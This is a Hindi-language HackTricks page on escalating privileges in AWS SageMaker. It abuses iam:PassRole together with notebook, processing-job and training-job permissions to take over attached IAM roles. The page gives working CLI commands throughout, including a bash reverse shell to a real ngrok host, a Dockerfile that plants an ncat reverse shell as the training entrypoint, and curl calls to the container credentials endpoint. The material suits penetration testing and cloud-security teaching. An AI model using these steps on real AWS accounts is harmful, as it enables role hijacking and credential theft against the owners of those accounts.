AWS - Sagemaker Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAM रोल के साथ एटैच करने के लिए नोटबुक बनाना शुरू करें:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

उत्तर में एक NotebookInstanceArn फ़ील्ड शामिल होगा, जिसमें नए नोटबुक इंस्टेंस का ARN होगा। हम फिर create-presigned-notebook-instance-url API का उपयोग कर सकते हैं ताकि हम नोटबुक इंस्टेंस तैयार होने पर उस तक पहुंचने के लिए उपयोग कर सकें:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigate करें URL पर और ऊपर दाएं कोने में Open JupyterLab पर क्लिक करें, फिर "लॉन्चर" टैब पर स्क्रॉल करें और "अन्य" खंड के नीचे, "टर्मिनल" बटन पर क्लिक करें।

अब IAM Role के मेटाडेटा क्रेडेंशियल तक पहुंचना संभव है।

संभावित प्रभाव: निर्दिष्ट सेजमेकर सेवा भूमिका को प्राइवेस्क करना।

sagemaker:CreatePresignedNotebookInstanceUrl

अगर उस पर पहले से ही Jupyter नोटबुक चल रहे हैं और आप उन्हें sagemaker:ListNotebookInstances के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से उन्हें खोज सकते हैं)। आप उनके लिए एक URL उत्पन्न कर सकते हैं, उन्हें एक्सेस कर सकते हैं, और पिछली तकनीक में इंडिकेट किए गए क्रेडेंशियल्स चुरा सकते हैं

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

संभावित प्रभाव: सेजमेकर सेवा भूमिका में उन्नति।

sagemaker:CreateProcessingJob,iam:PassRole

उन अधिकारों के साथ एक हमलावर सेजमेकर को एक प्रोसेसिंग जॉब का निष्पादन करने की अनुमति है जिसमें एक सेजमेकर भूमिका संलग्न है। हमलावर को इंडिकेट कर सकता है कि कैसे एक AWS प्रबंधित ECS खाते के उदाहरण में चलाया जाएगा और संलग्न आईएएम भूमिका के क्रेडेंशियल्स चुरा सकता है

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

संभावित प्रभाव: निर्दिष्ट सेजमेकर सेवा भूमिका को उन्नत करना।

sagemaker:CreateTrainingJob, iam:PassRole

उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, उस पर एक विचारात्मक कंटेनर चला कर एक भूमिका संलग्न करेगा। इसलिए, हमलावर को भूमिका के क्रेडेंशियल चुरा लेने की क्षमता होगी।

यह परिदृश्य पिछले वाले से अधिक उत्पीड़न करने के लिए है क्योंकि आपको एक डॉकर छवि उत्पन्न करनी होगी जो हमलावर को सीधे रिव शैल या क्रेडेंशियल को हमलावर को भेजेगी (आप प्रशिक्षण नौकरी के विन्यास में एक प्रारंभिक कमांड नहीं दे सकते)।

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**संभावित प्रभाव:** निर्दिष्ट सेजमेकर सेवा भूमिका को उन्नत करना।

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) **हाइपरपैरामीटर प्रशिक्षण नौकरी** बना सकता है, उस पर **किसी भी आरबिट्रेरी कंटेनर को चला सकता है** जिसमें एक **भूमिका संलग्न** है।\
_मैंने समय की कमी के कारण उत्पीड़न नहीं किया है, लेकिन पिछले उत्पीड़नों के समान दिखता है, उत्पीड़न विवरण के साथ पीआर भेजने के लिए स्वतंत्र महसूस करें।_

# संदर्भ
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>

HackTricks का समर्थन करने के अन्य तरीके:

* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।

</details>

Last updated